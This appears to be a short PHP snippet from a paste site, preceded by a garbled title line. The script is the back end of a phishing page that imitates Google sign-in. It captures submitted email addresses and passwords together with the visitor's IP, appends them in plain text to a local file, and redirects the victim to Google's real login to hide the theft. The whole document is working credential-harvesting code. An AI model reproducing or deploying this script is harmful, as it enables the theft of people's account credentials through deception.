php if isset _POST Email isset _POST Passwd empty _POST Email empty _P

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
if (isset($_POST['Email']) && isset($_POST['Passwd']) && !empty($_POST['Email']) && !empty($_POST['Passwd']) && filter_var($_POST['Email'], FILTER_VALIDATE_EMAIL)){
$all = 'IP: '.$_SERVER['REMOTE_ADDR'].' email: '.$_POST['Email'].' password:'.$_POST['Passwd'];
$fp=fopen("form_data.txt","a");
fputs($fp,$all. "\r\n");
fclose($fp);
header("Location: https://accounts.google.com/ServiceLoginAuth");
}else{
header("Location: index.html");
}